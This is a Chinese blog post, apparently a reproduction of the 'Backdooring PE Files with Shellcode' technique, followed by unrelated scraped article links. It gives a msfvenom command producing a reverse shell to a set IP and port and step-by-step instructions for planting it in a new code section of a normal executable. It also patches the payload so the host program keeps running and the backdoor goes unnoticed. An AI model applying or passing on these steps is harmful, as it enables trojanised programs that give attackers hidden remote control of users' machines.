参考

在文章Backdooring PE Files with Shellcode中介绍了一种在正常程序中注入shellcode的方式,让程序以前的逻辑照常能够正常运行,下面复现一下并解决几个小问题。

示例程序代码

这里直接编译一个32位的HelloWorld程序为例:

#include <stdio.h>

int main()
{
puts("Hello World!");
return 0;
}

编译后的exe,可以使用CFF Explorer查看相关信息。

大致步骤

少绕弯子,补充一下通用步骤:

  1. 利用msf生成一个payload,保存成一个bin文件,命令:msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
  2. 通过010Editor等编辑工具在bin文件的前后各插入20-40个字节,以90填充
  3. 在目标exe中添加一个新的代码段,将bin的内容导入,并设置可读、可写、可执行、包含代码等属性标志
  4. 更新header大小以及重建PE头
  5. 使用x32dbg调试exe并查看新加代码段的基址,例如是0x004A0000
  6. 一个5字节长度的指令,例如:call 0x00471B50,覆盖成jmp 0x004A0000
  7. 记住下一条指令的位置,例如:0x00491EF8,后面恢复程序正常逻辑的时候要用
  8. 编辑代码段开头,用pushadpushfd指令覆盖开头2个字节
  9. 调试exe,观察pushfd之后的ESP值,例如0x010FFDBC,以及shellcode执行结束时ESP值,例如0x010FFBB8,发现少了0x204
  10. 为了能够恢复之前的寄存器状态,在shellcode最后追加指令add esp, 0x204
  11. 追加popfdpopad指令,和push顺序相反
  12. 将第6步中覆盖前的指令追加到popad之后
  13. 最后,恢复之前的运行逻辑,追加jmp 0x00491EF8指令,跳到第7步记录位置

问题1:到12和13步总是不能跳到正确的位置

注意三点:

  1. 第6步和第7步获取的值要保证当前调试的PE头大小是和最终的PE头大小是一致的,检查第4步操作
  2. 每次调试exe的时候,基址可能会发生变化,所以复制的指令只能用于修改当前调式实例
  3. 在复制jmp指令的机器码的时候,注意不要和目标跳转位置太近,会复制成短地址的指令

问题2:保证步骤没问题之后,程序仍然不能恢复正常逻辑

通过调试将发生阻塞的操作进行nop,例如WaitForSingleObjectmsf的payload需要将4e 56 46 ff替换成80 56 80 ff

原来给WaitForSingleObject传的参数是-1,会阻塞线程,想办法改成0就行,这里将dec esi操作nop掉了,push esi就是0

问题3:在监听端失联的情况下,程序长时间阻塞后程序终止

应该是检查服务端失联的情况下直接终止程序了,通过调试找到终止位置nop掉即可

问题4:在哪找代码段的基址

除了参考文章中提到的通过文件偏移计算,还可以直接利用x32dbg的内存布局直接查看

最后效果

省略。。。

在不影响程序使用的情况下添加shellcode的更多相关文章

  1. Entity framework 意外删除了表,如何在不影响其它表的情况下恢复回来

    关于EntityFramework数据迁移原理 查询数据库的表"__MigrationHistory",遍历代码库的Migrations文件夹下的所有文件,如果文件不在__Migr ...

  2. Linux不重启的情况下添加硬盘

    众所周知,SATA和SCSI是支持热插拔的,但是新装了这类支持热插拔的驱动器,系统不会马上识别的,往往我们需要重启系统来识别,但是有另外一种方法可以很方面的让系统识别新的设备.作为系统管理员,需要了解 ...

  3. 该扩展程序未列在 Chrome 网上应用店中,并可能是在您不知情的情况下添加的

    "chrome扩展程序无法启用"的解决方案 http://www.cnplugins.com/tool/installpluginfix.html win10家庭版没有组策略怎么办? https:// ...

  4. java 23种设计模式,一般情况下,常用的有哪些? 转载

    原址:http://wangle.iteye.com/blog/196972 工厂模式, 工厂方法模式,单例模式, 外观(Facade)模式, 观察者(Observer)模式,桥接(Bridge)模式 ...

  5. mysql大表在不停机的情况下增加字段该怎么处理

    MySQL中给一张千万甚至更大量级的表添加字段一直是比较头疼的问题,遇到此情况通常该如果处理?本文通过常见的三种场景进行案例说明. 1. 环境准备 数据库版本: 5.7.25-28(Percona 分 ...

  6. CentOS系统在不重启的情况下为虚拟机添加新硬盘

    一.概述 用过虚拟机的都知道,如果在系统运行的时候去给虚拟机添加一块新设备,比如说硬盘,系统是读取不到这个新硬盘的,因为系统在启动的时候会去检测硬件设备.但是我们也可能会遇到这样的情况,比如正在运行比 ...

  7. 怎样在不对控件类型进行硬编码的情况下在 C#vs 中动态添加控件

    文章ID: 815780 最近更新: 2004-1-12 这篇文章中的信息适用于: Microsoft Visual C# .NET 2003 标准版 Microsoft Visual C# .NET ...

  8. 转载:ubuntu 下添加简单的开机自启动脚本

    转自:https://www.cnblogs.com/downey-blog/p/10473939.html linux下添加简单的开机自启动脚本 在linux的使用过程中,我们经常会碰到需要将某个自 ...

  9. 编写高质量代码改善C#程序的157个建议:第17个建议之多数情况下使用foreach进行循环遍历

    今天是我看<编写高质量代码:改善C#程序的157个建议>第二遍的时候了,看完这本书的确是受益匪浅,学到了很多东西,也明白了很多道理. 里面的代码我每个都调试了一遍,有时候是有些出入的,可能 ...

随机推荐

  1. 图书馆管理系统程序+全套开发文档(系统计划书,系统使用说明,测试报告,UML分析与设计,工作记录)

    图书馆管理系统程序+全套开发文档(系统计划书,系统使用说明,测试报告,UML分析与设计,工作记录): https://download.csdn.net/download/qq_39932172/11 ...

  2. 微型计算机系统实验总结(学习性实验:IO地址译码,可编程并行接口8255,交通灯控制实验 + 自主设计实验:汽车信号灯控制系统,电风扇控制器,洗衣机控制系统,霓虹灯,电梯控制系统)

    实验配套软件: https://download.csdn.net/download/qq_39932172/11221584 实验指导用书: 教师版: https://download.csdn.n ...

  3. VIM的常用快捷方式(尽量简洁,删去能组合实现的且不易记的)

    vi可以分为三种状态,分别是一般模式.编辑模式和命令行模式 1一般模式:以vi打开一个文件就直接进入一般模式了(这是默认的模式).在这个模式中, 你可以使用上下左右按键来移动光标,你可以使用删除字符或 ...

  4. R 数据读取与写入

    路径 getwd() #获取当前工作路径 setwd() #设置工作路径 获取普通文本数据 x = read.table("data.txt") #通过路径直接获取 x = rea ...

  5. NGINX 上的限流

    NGINX 上的限流(译) zlup YP小站  今天 前言 本文是对Rate Limiting with NGINX and NGINX Plus的主要内容(去掉了关于NGINX Plus相关内容) ...

  6. Button基本用语

    1.self.btn2 = Button(root,image = photo,command = self.login) 使用 image 图片作为按钮,command 作为响应 2.self.bt ...

  7. 部分浏览器 set-cookie 不成功踩坑记录

    事件起因: 公司正在做一个sso的单点登录的项目,做完之后,在测试阶段,不同的终端的兼容测试时候,好几个不同的浏览器出现了不同的问题,有登录之后自动退出,有登陆不成功等问题. 在 pc 端只有 uc ...

  8. 什么是 PHP SimpleXML?

    PHP SimpleXML PHP SimpleXML 处理最普通的 XML 任务,其余的任务则交由其它扩展处理. 什么是 PHP SimpleXML? SimpleXML 是 PHP 5 中的新特性 ...

  9. vjudge CountTables/2018雅礼集训 方阵 dp 斯特林反演

    LINK:CountTables 神题! 首先单独考虑行不同的情况 设\(f_i\)表示此时有i列且 行都不同. 那么显然有 \(f_i=(c^i)^\underline{n}\) 考虑设\(g_i\ ...

  10. 7.11 NOI模拟赛 graph 生成函数 dp 多项式

    LINK:graph HDU题库里的原题 没做过自闭. 考虑dp 设\(f_{i,j}\)表示前i个点构成j个联通块是树的方案数. 对于一次询问答案即为\(\sum_{j}f_{n,j}j^k\) 考 ...